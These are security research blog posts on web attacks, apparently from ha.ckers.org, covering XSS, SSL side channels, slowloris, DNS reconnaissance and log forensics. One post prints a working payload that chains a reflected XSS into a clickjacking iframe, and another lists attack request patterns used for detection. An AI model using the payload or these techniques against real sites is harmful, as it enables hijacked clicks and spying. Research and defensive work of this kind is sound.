39 more posts left…

Just a quick post as I head into the ramp up to Blackhat where I won’t be writing posts. Jeremiah and I spent a lot of time trying to break the Flash settings manager a few years back but one thing that I never mentioned was the way in which Flash’s settings are very often scoped to the domain rather than the app. Although currently allowing Flash access to camera and microphone isn’t all that common, if it ever did become common using XSS would be a pretty interesting tactic. Once access is allowed and remembered, an XSS included object could theoretically end up with the same privileges.

Clearly XSS is bad in of itself, but once settings are permanently remembered, even on a site that has no other sensitive information on it (a free video-game site for instance) something like this could allow an attacker to do some nasty spying. In general applications should never allow access to camera and microphone permanently by default. Thankfully, I don’t think there are a lot of apps out there that request mic and/or camera access so the attack surface may be small. But if that were to change I’m sure if an attacker were creative they could combine CSS history hacking + hidden iframe + XSS + camera and microphone app to spy on quite a number of people who had selected the “Remember” option.

The nice thing about this attack is if it fails it doesn’t create a modal dialog alerting the user to the fact that they were under attack (one of the many perils of not using modal dialogs). So the moral of the story is even if your app contains no sensitive data, you need to be extremely careful of XSS. Oh, yeah and Flash may want to allow the web sites in question to remove the “Remember” function from their apps in future versions.

40 posts remaining…

Just a quick thought for a Friday afternoon. For a while I did informal questionnaires to friends and family and people in general who aren’t hardcore security people about what they type in when they’re going to their bank. The following are the kinds of answers I’d get:

• “I type in www.bank.com.”
• “I type ‘bank’ and hit ctrl-enter”
• “I type in http://www.bank.com”
• “I type in bank.com and hit enter”

But almost never (twice out of dozens of people) I’d hear someone say, “I type in https://www.bank.com” with the “s”. So let’s just for a second think about all the problems with these. Let’s take “bank.com” as an example.

• User types bank.com, which, depending on the browser is being sent on the wire as they type over HTTP for auto-complete
• The browser corrects the URL to be http://bank.com/ and makes a DNS request for “bank.com”
• The DNS server responds with an IP address
• The user makes a request to bank.com’s IP address over HTTP
• bank.com responds in unencrypted HTTP to the user’s browser and informs them that they should be speaking with www.bank.com, and redirects them there via a 301 or 302 redirect
• User’s browser makes another DNS request for www.bank.com
• DNS server responds with www.bank.com’s IP address
• Browser makes an HTTP connection to www.bank.com
• www.bank.com realizes that the user is connecting via HTTP and uses another redirect to send the user to https://www.bank.com (or often has a link on the page, asking the user to click it to log in which will take the user to HTTPS)
• User’s browser re-connects to port 443 and begins negotiating - and at this point is encrypted (hopefully using strong crypto and there are no other issues…)

There’s a lot of places there than an attacker can get in the middle and mess things up. And sadly, this isn’t even close to everything wrong in real life. So while HTTPS is a good idea, in practice how people tend to get there is pretty flawed. The promise of STS, HTTPS everywhere and some of the settings within NoScript and so on… was to take that out of the user’s hands. Not that these aren’t all good ideas, but there are usability issues, and require that the user be somewhat informed of the issues in most cases - which they don’t tend to be.

41 more posts left until the end…

In regards to the previous post and the impending Blackhat speech with Josh Sokol, I thought I’d spend some time enumerating some of the possibilities for reducing the chatter over SSL/TLS that the browser introduces. There are a few things that an attacker generally doesn’t care about (not always, but generally). They generally don’t care about images, CSS, JavaScript, favicons, and most of the HTTP headers. That is, those parts of the HTML and HTTP request/response are generally less interesting than the content itself or what the user is sending. So there’s a few tricks we can use to force the user’s browser to cache the content prior to intentionally navigating there (call it pre-caching for lack of a better term).

Firstly, there’s a pretty good chance that an attacker can connect to the SSL/TLS encrypted website site in question and see what the HTTP response headers look like. Minus cookies, URL and POST data, an attacker can get a pretty accurate picture of what the HTTP response looks like. The attacker can also identify what sort of key exchange the user will be using with the site in question through a little enumeration. So the amount of data sent on the wire is smaller, and the data that is sent can be isolated to the few unknown components.

Next, an attacker can create an iframe (from a MITM’d HTTP website - the side channel) to the SSL/TLS encrypted site in question to pre-load all the images, JavaScript, CSS, favicons, and so on, that typically muddy the encrypted HTTP data flying in both directions. Lots of times the files in question are inconsequential to the page in question from the attacker’s perspective. But because browsers share sockets for multiple requests, often the chatter for these static objects can make determining what is on the wire much more difficult.

So by forcing the user’s browser to pre-cache the content, an attacker can get down to just the pages they are interested in and a few GET requests that return 304 Not Modified responses. That’s a much smaller footprint for the unrelated data than it would be if it weren’t cached. Now, it may not always be a good idea to pre-cache. Sometimes the content will be hosted on other subdomains or domains, and therefore won’t create the same amount of chatter over the socket, because it isn’t pulling that content from the same IP. Other times it may be useful to detect that a user is on a certain page, because some of the content is a very specific to that page in question and is a known size - alerting the attacker to the fact that the user being monitored is on the page in question.

In this way an attacker is really getting down to the exact parts of the data they are interested in. Obviously the earlier an attacker can do this the better - trying to cache after the fact doesn’t make a lot of sense, although using timing attacks an attacker may be able to tell where the user has been, interestingly enough (Chris Evans did a good writeup on this a while back).

42 posts left until my last…

For those of you who may not have seen it there is a very good paper partially by Microsoft Research and partially by Indiana.edu called Side-Channel Leaks in Web Applications: a Reality Today, a Challenge Tomorrow. Initially it really upset me off that this paper was written, not because it’s not excellent, but because it’s partially what I was going to be speaking about at Blackhat. Alas… they came out with it first, and frankly, I think they did a much better job at slicing and dicing with the math. So once being upset by being beaten to the punch had worn off Josh Sokol and I had to change the presentation that we’ll be doing at Blackhat, and we’ll only be glossing over this as a result. But please check it out, it must have taken quite a while to build up those abuse cases.

Anyway, the reason I originally started thinking about this was because of something from Bruce Schneier I read a decade or so ago (I believe it was in Applied Cryptography). It basically said that in certain crypto systems you could tell certain things about the people involved. For instance, if you had one user who sent an encrypted message to two users who then sent the same message to four users who then sent it to 8 and so on… you might be able to infer a chain of command (or, just as likely - a really funny/crude joke that no one wants their bosses to find out about).

But when you’re talking about HTML, you have a lot of things that sort of act as subordinates in the same way as a chain of command might. For instance, HTML can load JavaScript, CSS, Objects, etc… those can load more JavaScript, Images, Bindings, etc… All of that has a certain behavior in the browser, and in one way or another can be detected. So the trick is how do you detect it? The Indiana paper does a good job of enumerating some of those possibilities, but there are a lot of other tricks an attacker could use as a man in the middle to reduce the noise on the wire. That’s what the presentation is largely about. Anyway, check out the paper!

With Blackhat impending, and given how many individual issues I’ll be discussing, I thought I should start posting them here. That and the fact that I’m quickly approaching my 1000′th post (which, if I have my way will be my last on ha.ckers.org) means that I need to start wrapping up these issues into a neat little bow. I have 43 more, as of this post, so the clock is ticking. During my research for Blackhat I found a few things that were unrelated to the main content, and didn’t make sense to include in the presentation. So let’s start with a little user-initiated DoS that I was toying with. It’s using a bunch of frames and then throwing a recursive heap-spray into it. The heap-spray may or may not be a red-herring, but I got the best results when I used it compared to some of the other tests I ran.

On my system it gave me an odd set of errors. Typically with any type of recursion Firefox will eventually pop up the “A script on this page may be busy or it may have stopped responding.” error. This is no different, except for what script it thinks is misbehaving. The error alternates, but if I leave it running long enough sometimes I get “chrome://noscript/content/Main.js:2149″ sometimes I get “chrome://global/content/bindings/general.xml:0″ sometimes I get “file:///C:/Programe%20Files/Mozilla%20Firefox/components/nsContentPrefService:1012″ and so on… These may point to race conditions, memory overwriting or something equally bad. Perhaps someone with more time can do more with this, but it was kind of fun to play with. Anyway, please save your work before you try this, but here is the demo.

I finally broke down and bought a new bean bag chair. I had one of the older Sumo lounge models and I loved it, but the newer sway couple model is much more conducive to sitting down and doing work or reading a book. So, with an uber-comfy chair as a prerequisite, that is promptly the first thing I did. I’ve been meaning to find the time to sit down and read the ModSecurity Handbook by Ivan Ristic - the primary developer on the project. And is there any surprise? It’s really good.

Ivan has written an O’Reilly book in the past, so his approach to writing is very methodological. For instance, I’m always the skeptic about tools that add latency, and that’s one of the very first things he addresses - alleviating a lot of those questions in my mind, having not played with it much in a few years. He goes through a lot of the attack scenarios, the configuration, tactics and on and on. It’s very thorough. Of course it leaves you with a big question mark at the end - so what’s the future of mod_security really going to be? Hopefully just as bright in the future.

One of the things I particularly liked was that Ivan went through and explained how mod_security was never designed to be a panacea and it was intentionally designed to be a more straight-forward tool, solving things that he knew it could solve, without wasting time developing a tool to be everything to everyone. I like that it wasn’t trying to be something it’s not. It’s really refreshing to hear an author tell you why things were built the way they are, and even more refreshing when you agree with those decisions. It gives you a lot of insights into the development process. Anyway, it was a good book read while sitting on a comfy chair (I recommend both). Sometimes the simplest things in life are worth writing about. If you use mod_security or are looking for a good free solution you should check out Ivan’s book.

With the impending release of Fierce 2.0 I thought I’d spend a minute talking about finding high value targets. I was working with a company in a specific vertical when I realized they use a very large single back end provider (essentially a cloud-based SaaS). But they aren’t the only large company using that SaaS - there are many hundreds of other companies using them as well. But because I’m not in that particular industry and having not worked much in that vertical, I had never even heard of them before. Frankly, I had no idea that they even existed. Now let’s take a typical Fierce DNS enumeration scan; it can find a lot of non-contiguous IP space, sure. But what about when I launch scans against hundreds of companies in that same vertical? Some interesting results start bubbling up.

Because companies tend to point their DNS to those SaaS providers for white labeling, often you’ll see a convergence of a lot of sub-domains all pointing to a single IP address or set of IP addresses. It doesn’t take a rocket scientist to realize that you don’t need to attack the target you’re interested in, you can attack the SaaS provider and take over not just one but all of those companies in that vertical that use that provider. Even though that may not be obvious by just probing the external network, DNS can sometimes help to uncover those sorts of details. This happens a lot more than most people realize, and in my experience those cloud based SaaS providers aren’t any more secure than anyone else. It’s a lot more interesting to compromise hundreds of companies for the price of one.

Those of us who do a lot of work in the security world have come to realize that there is a ton of cross site scripting (XSS) out there. 80% of dynamic sites (or more) suffer from it. But how many sites allow you to do HTML file uploads comparatively? It’s a much smaller amount, and typically requires some sort of login before you’re allowed to do it. Often times it’s protected by login too, so it’s a relatively small amount of people who could be impacted by any sort of HTML file upload. But that is precisely what’s needed to mount a clickjacking attack (usually one or two pages). Either the attacker has to rent space in the cloud with a stolen credit card, or find some parasitic hosting somewhere.

That’s when I got to thinking… how can you use any old generic reflected XSS attack to mount a clickjacking attack? A few hours later I had a prototype that worked. Here’s how the attack would work. Let’s say a parameter like “search” was vulnerable to reflected XSS. An attacker could do something like:

http://example.com/?search=<script>eval(location.hash.slice(1))</script>

This is an old trick that basically says anything that falls into the anchor tag is what the attacker wants to run as the attack. Anchor tags are not sent to the server, they are only seen on the client. So this effectively turns the reflected XSS into a DOM based XSS, which leaves less of a signature on the server as well, incidentally. Then the attacker’s anchor payload would look something like this (this works only in Firefox):

http://example.com/?search=<script>eval(location.hash.slice(1))</script>#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.3;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="http://www.victim.com/";a.d.body.appendChild(i);function followmouse(e){xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;

So you have a reflected XSS on example.com that instantiates a DOM based XSS which instantiates a clickjacking attack against victim.com. Obviously you’d need to modify this to actually fit the right coordinates and work in other browsers, but this could easily be used to leverage the attack in situations where an attacker might not be able to otherwise. For instance, if the clickjacking defenses only care about the referrer and the referrer is on the correct domain just a different sub-domain, that could be used to bypass it - and so on. Anyway, I thought some people might think this is interesting. Happy penetration testing!

I had heard various different reports from people who use lighttpd during the initial investigation of slowloris that it was not vulnerable. But now I’m hearing differently. From Iraklis Alexios C. Mathiopoulos:

I just tested it on a fresh/default install of the latest lighttpd with a simple index.html page (no fastcgi this time). Consistent results, 4-5 seconds after I fire slowloris from host A to “attack” server B, server’s B is unresponsive. I’m checking from host C btw in order to minimize the risk of any dos appliances that might be in the way blocking requests. host A, server B, host C are all in different geographical locations.

As soon as I stop slowloris server B becomes responsive again. Interestingly enough top doesn’t show any change in cpu/mem usage during the attack.

Btw the targeted server is running Centos 5.4 64bit on an Intel i7 with 8GB ram.

Anyone have different results to share for lighttpd? About a year has come and gone and I haven’t heard any word from the Apache camp on a fix either. Anyone heard anything about a fix in Apache’s core web server?

I can’t tell you how many times over the last several years I’ve needed an application that can properly parse and help me inspect web server log files. I’ve searched around, asked friends and colleagues and nothing. The best I’ve come up with is a bunch of crappy shell scripts, grep, Splunk, libraries and a few people mentioned that event correlation systems come close to doing what I want. In the end I just end up manually grepping through files, and writing my own custom scripts that I end up having to re-write over and over again, depending on the situation and the log files themselves. Without the time to dedicate to it, and a million other things on my plate I’ve never had the opportunity to sit down and code it up. Here’s the requirements for what I need:

• Must be able to parse log files in different formats. Lots of web server logs don’t look like other web server logs - even from the same web server, depending on how they are formatted and the order that the variables get logged. IIS logs may intentionally add in cookie parameters. Some logs may not use the same delimiters and so on. A generic parser that can deal with any log in any format is what needs to be built. I know companies have built these things before, so it’s possible. Yeah, this bullet alone is a bit of a nightmare.
  
• The system must be able to take two independent and differently formatted logs and combine them. Often times in a forensics case the attacker hit more than one web server in the process of attacking the site. This happens a lot when you’re talking about static content hosted on other sites or a separate single sign on authentication server or whatever. One server might be IIS and the other Apache - so the system would have to be able to combine different lot formats and take into account that some logs may not have the same parameters in them; one might be missing query string information or host name or whatever.
  
• The system must be able to normalize by time. I can’t tell you how many times I’ve found that one of the sites involved in the forensics case isn’t using NTP and the log file is off by some arbitrary amount of time. This is a huge pain when you’re doing this by hand, let me tell you. Anyway, timezones also must be accounted for, where one server is hosted in one timezone and a different log is hosted in another.
  
• Log files are big - they can be many gigs per day, and a forensics case can span a month or more. This is where grep gets a lot less convenient and where a database would be a better choice. So the system should be able to handle just about any size of log file data, up to and including a terabyte.
  
• It should allow for regular expressions and binary logic on any parameter. Sometimes I want to check to see if something is a “POST” followed by a “5xx” error as a response code against any of the logs over N days. Or maybe I want to check for anyone who hit any file and got a different size back than everyone else who hit that same file. Or maybe I want to ignore things in certain directories or with certain file extensions, because I know that contains only static content.
  
• The system should be able to narrow down to a subset of logical culprits. That is, remove any IP addresses that never submitted a “POST” request, or any GET requests with a Query string.
  
• The system should allow for white-lists, to remove things like internal IP addresses, or known robots that weren’t involved but make a lot of suspicious requests (third party scanners and such).
  
• The system should also build a probable culprits list that you can pivot against. If you know N IP addresses are suspicious, you should be able to run commands against just those IP addresses, without re-searching all the non-suspicious IP addresses. That way you can gradually narrow down the list further and further so you are only looking at things that interest you.
  
• The system should be able to maintain a list of suspicious requests that indicate a potential compromise, like “../” and “=http://” and so on, to quickly narrow down a list of culprits, without having to do a lot of manual searching.
  
• The system should decode URL data so that it can be searched easier. This could be really tricky given how many encoding methods there are out there, but even just URL would be a huge time saver.
  
• The software must use the BSD license - so it can be used in any capacity, and modified as necessary. Because GNU just won’t cut it.

So yeah, if anyone is just looking to build something extremely useful to guys like me, and feels like making it open source so anyone else can use it, please do! The forensics community could really use something like this. I sure know I’d use it!